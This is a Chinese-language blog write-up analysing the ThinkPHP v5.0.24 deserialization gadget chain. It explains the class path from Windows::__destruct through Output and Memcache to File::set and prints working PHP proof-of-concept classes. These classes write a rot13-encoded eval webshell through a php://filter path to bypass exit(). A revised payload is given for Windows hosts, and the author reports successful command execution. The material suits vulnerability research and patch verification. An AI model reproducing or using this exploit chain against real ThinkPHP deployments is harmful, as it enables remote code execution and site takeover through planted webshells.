0x00 前言
前几天分析了 thinkphp v5.1.37 反序列化利用链, 今天继续来分析thinkphp v5.0.24 反序列化利用链。
0x01 环境搭建
这次直接从官网下载 ,下载地址:http://www.thinkphp.cn/donate/download/id/1279.html
0x02 分析
0x 2.1 先找触发__call() 方法的地方
前面和 thinkphp v5.1.37 一样,都是think\process\pipes\Windows 的__destruct() 里面调用 removeFiles() ,然后赋值$filename 为对象,利用file_exists() 函数作为跳板,执行这个对象的__toString() 方法,然后这个对象依旧是选择 \think\Model 对象,然后调用toJson() ,然后是toArray()。
进入到toArray() 函数就和 v5.1.37不同了。
触发__call() 方法的是下面这块,现在就来看怎么才能触发一个__call()
0x2.1.1 $value 的赋值过程:
foreach ($this->append as $key => $name) {
}
$relation = Loader::parseName($name, 1, false);
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
很明显 $name 是可控的,进入 Loader::parseName() 方法:
注释中也说得很清楚,该方法是用来转化字符串风格的。那么$name可控,$relation 也就是可控的。
接下来调用
$modelRelation = $this->$relation();
这行代码用通俗的话来讲就是 把$modelRelation 赋值为 \think\Model 类任意方法的返回结果
这里有一步很妙,给$name 赋值 为 ‘getError’ ,那么$relation() 也是’getError’ , 我们看看 \think\Model 中getError() 的定义:
正好是返回 $this->error() , 所以$modelRelation 也就可控了。
再跟进 $this->getRelationData :
很明显,要求传入的参数需要一个Relation 对象,那么$modelRelation 就要求是一个Relation 对象。继续,那么我们进入第一个 if 的话,函数就直接返回 $this->parent。接下来看怎么满足这个 if 条件判断:
跟进isSelfRelation(),发现返回值可控:
跟进getModel():
再这个跟进 getModel():
很明显了,$modelRelation->getModel() 的值也是可控的,那么这里只需要:
\think\Model \think\Model 类中: query =new think\db\Query() ,
然后 \think\db\Query 类中: model = \think\Model 类中的 parent 就行了,这样就可以满足if 的判断条件了
到这里为止,$value 值就大致可以知道怎么来构造了。
接着看下来:
还需要满足这个if 的判断条件。
0x 2.1.2 $attr 的赋值过程
需要$modelRelations 中 含有 getBindAttr() 方法,我们在 Relation 类中搜索 getBindAttr() 方法没有找到,所以需要去子类找,寻找继承了Relation类并且存在getBindAttr() 方法的类。
正好只有一个 OneToOne
看他的getBindAttr() 函数定义:
直接返回$this->bindAttr,可控。
那么就简单了,我们赋值 $this->bindAttr 为 [‘a’=>‘自定义任意值’] 那么$attr 的值就是这个自定义值了。
我们再看OneToOne 的定义:
又是一个抽象类,所以我们再找继承了OneToOne 的类,比如这个HasOne类:
到这里这一部分的poc 就可以写出来了
<?php
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation = 0;
}
namespace think\model\relation;
use think\model\Relation;
use think\db\Query;
abstract class OneToOne extends Relation{
protected $bindAttr;
protected $query ;
function __construct(){
$this->bindAttr = ['a'=>'args']; //args 自定义
$this->query = new Query();
}
}
use think\model\relation\OneToOne;
class HasOne extends OneToOne{
}
namespace think\db;
use think\console\Output; //-------------
class Query{
protected $model;
function __construct(){
//--------------
$this->model = new [Object](); //这里就是要new 的对象和下面parent 中的相同,其实使 Output类
}
}
namespace think;
use think\model\relation\HasOne;
use think\console\Output; //-----------
abstract class Model
{
protected $append = ['getError'];
protected $error ;
protected $parent;
function __construct(){
$this->error = new HasOne();
//--------------
$this->parent = new [Object](); //这里就是要new 的对象和上面的model 中的相同,其实使Output类
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
0x 2.2 寻找__call() 方法,写任意文件
在先前的 ThinkPHP5.1.X 反序列化链中,都是在调用 think\Model:toArray() 时触发 think\Request:__call() 。但是在 ThinkPHP5.0.24 中的 think\Request:__call() 写法与 ThinkPHP5.1.X 的不太一样:
5.1.x:
5.0.24:
在 5.0.24 中,call_user_func_array() 的第一个参数变成了静态成员变量,我们知道序列化的时候,对象中静态成员变量和常量是无法被序列化的,所以在 5.0.24 中 5.1.37 中的Request 链就用不了了。我们需要寻找其他的链。
我们把目光放向 think\console\Output 这个类中:
查看 Output 类中的 block() 函数:
跟进writeln():
再跟进write():
溯源 $message ,可以知道$message 是可控的,由我们call_user_function 中的 $args 控制
这里$this->handle 也是可控的,我们全局搜索 function write(),并且参数是三个的类 ,参数小于三个的类(php中对于调用函数时的实参大于形参是可以的,但是实参数小于形参是不行的):
定位到 think\session\driver\Memcache 中:
$this->handler 是可控的,我们全局搜索function set() ,定位到think\cache\driver\File 类中
这里有个file_get_contents() 函数来写文件,我们看$filename 的赋值过程,跟进getCacheKey() 函数:
可以看到 返回值$filename 也是部分可控的。
但是问题就在于这个 $data , 从$data 的赋值过程,我们知道$data 来源于$value 参数,查看前面的调用过程,可以知道在前面Output 类中,$value 的值是被写死的,为true:
但是不急,我们接着往下看,
跟进 setTagItem()函数:
这里进入这个else 的时候会把$value 赋值为传进来的$name ,然后再次调用 set() 函数,仔细看传进来的$name ,不就是$filename 吗,所以这里会把$filename 变成 $data ,然后再次调用set() 函数 file_put_contents() 一次。而第二次调用file_put_contents() 的 filename 是由setTageItem() 中 $key 经过变化而来的,而这里面的$key 很明显也是可控的。
也就是说第二次file_put_contents() 的时候,$filename和$data 都是可控的,这就造成了可以写 webshell。
这里还有个问题就是:
$data中有exit(); 所以我们需要绕过这个exit() ,这样我们的webshell 才能生效。这里就用到php 的伪协议了,看代码:
也就是说,如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=123.php的话,php会把文件内容进行rot13编码,然后写入123.php 文件。
这样,原本的exit() 就会被rot13编码,变成rkvg() ,从而实现了绕过。
到这里就可以写出这一部分poc了:
<?php
namespace think\console;
use think\session\driver\Memcache;
class Output{
protected $styles = ['getAttr'];
protected $handle;
function __construct(){
$this->handle = new Memcache();
}
}
namespace think\cache;
abstract class Driver
{
}
namespace think\session\driver;
use think\cache\driver\File;
use think\cache\Driver;
class Memcache extends Driver{
protected $handler;
function __construct(){
$this->handler = new File();
}
}
namespace think\cache\driver;
class File{
protected $options = [
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_CBFG[pzq]);?>',
'cache_subdir' => '',
'data_compress' => '',
];
protected $tag = '123';
}
结合在一起就可以写出poc ,但是这个 payload 只能在 linux 下面使用,因为windows 不能创建带有特殊字符的文件。
0x04 解决windows 不能使用的问题
0x 4.1 代码层面分析原因
造成windows 不能写文件的原因是含有 ‘?‘和’<>’ 关键字。
从代码层面,造成windows 不能写文件的原因是我们之前的poc 是在这一块赋值,
$this->option['path'] = 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pz
q]);?>' ;
而file_put_content() 写文件又必须先调用 getCacheKey() 函数:
所以就导致每次写文件,文件名都会包含特殊字符 ‘?’,’<’ 和 '>’。
所以我们需要看其他可控的地方,不把特殊字符在 option[‘path’] 中赋值。把特殊字符放到其他地方来赋值。
0x 4.2 寻找其他地方赋值文件名
参考: https://xz.aliyun.com/t/7310
参考文章的方法,当程序走到Memcache.php 中的
的时候,我们不直接赋值 $this->handler 为 File 对象,而是绕一下,赋值为 Memcached 对象,进入Memcached 中的 set 方法:
然后在 114 行的时候 ,赋值 $this->handler 为 File 对象,创建一次文件,
我们知道 传进来的 $name 是可控的,可以通过控制 $this->config[‘session_name’] 来控制,我们可以赋值 $this->config[‘session_name’] = ‘<?cuc pzq();?>’ ;
$this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
查看112行的getCacheKey() :
在114行,程序进入 File 中的 set() 函数,由于我们 这次并没有像之前那样直接赋值 File 中的 options[‘path’] 为 ‘php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>’ ,而且传入的所以文件名也就不包含特殊字符,经过 File 中 getCacheKey () 处理就直接返回md5($name).php
这样就解决了文件名中含有特殊字符的问题。
接着程序走,关键点在115行,还会调用一次setTagItem
这里会把$key 传入setTagItem() 中,而$key 又是可控的.
$key = $this->options['prefix'] + $name
而 $name 又正好是从这里传进来的
这就成功导致 我们控制 $this->configp[’'session_name] 为 ‘<?cuc riny('pzq');?>’,经过 rot 13 转化 就会使<?php eval('cmd');?>写入文件,其中文件名为:
md5('tag_'.md5($this->tag)).'.php'
所以最后改进的这部分 poc 为 :
<?php
namespace think\cache\driver;
use think\cache\driver\File;
use think\cache\Driver;
class Memcached extends Driver{
protected $handler;
protected $tag;
function __construct(){
$this->handler = new File();
$this->tag = 'ke';
//shell名 md5("tag_".md5('ke')).php
}
}
namespace think\session\driver;
use think\cache\driver\Memcached;
class Memcache{
protected $handler = null;
protected $config = [
'expire' => 0,
'session_name' => '<?cuc riny($_CBFG["pzq"]);?>', // 在这里赋值一句话
];
public function __construct()
{
$this->handler= new Memcached(); //不直接赋值为File() ,而是赋值为 Memcached 绕一下
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
//下面的这些键名即使键值为'',也要加上,不然会出现index错误
protected $options = [
'expire' =>'',
'prefix' => '',
'cache_subdir' =>'' ,
'path' => 'php://filter/write=string.rot13/resource=', //赋值去掉之前的<>和?
'data_compress' => '',
];
protected $tag = '123';
protected $expire = 0 ;
}
0x 05 payload验证
依旧先在index.php 构造unserialize() 来触发漏洞。
生成三个文件,其中含有shell的文件名为
md5('tag_'.md5(‘ke’)).'.php'
成功命令执行:
0x06 遇到的一些坑点
(1) pivot 继承Model后,$parent 由Model 中 的 pretocted 变成了 public ,这点在写 poc 的时候太坑了。
(2) 最后输出的payload 用urlencode() 加密一遍,否则遇到里面含有’+'的时候,直接post 过去,会被解析为 空格。
(3)三重继承的时候,最顶端的类的 __construct() 不会自动调用?!!!
比如这里 不能在 Relation 类中用__construct() 来给 query 赋值,必须放到OneToOne 中 或者 HasOne 中。
后来找到原因了,其实就是覆盖的原因,OneToOne 中的__construct() 覆盖了Relation 中的 __construct()。
而且这里”自动调最顶端的类的构造函数“这个词用得不对,trait 就相当于 直接copy ,所以其实是调用use 这个trait的类的构造函数。而对于class 而言,new 子类对象的时候,不会自动调用父类__construct ,需要显示调用父类的__construct() 。
0x07 后记
相比thikphp v5.1.37 那个利用链,5.0.24的这个利用链复杂了很多,特别是原来的poc 在windows 上由于特殊字符 '<>?'的原因,不能直接使用,还需要改进原来的poc 才行。
还有 file_put_content() 用伪协议 绕过 <?php exit();?>这点 确实牛逼。
还有网上有些说链子比较鸡肋,其实不然,如果在二次开发中遇到 反序列化漏洞的化,可以利用这个链子直接写文件。而且再加上有 phar 协议,不需要代码中有 unserialize() 就可以反序列化,危害还是挺大的。
参考文章:
https://www.anquanke.com/post/id/196364#h2-6
https://xz.aliyun.com/t/7082
https://xz.aliyun.com/t/7310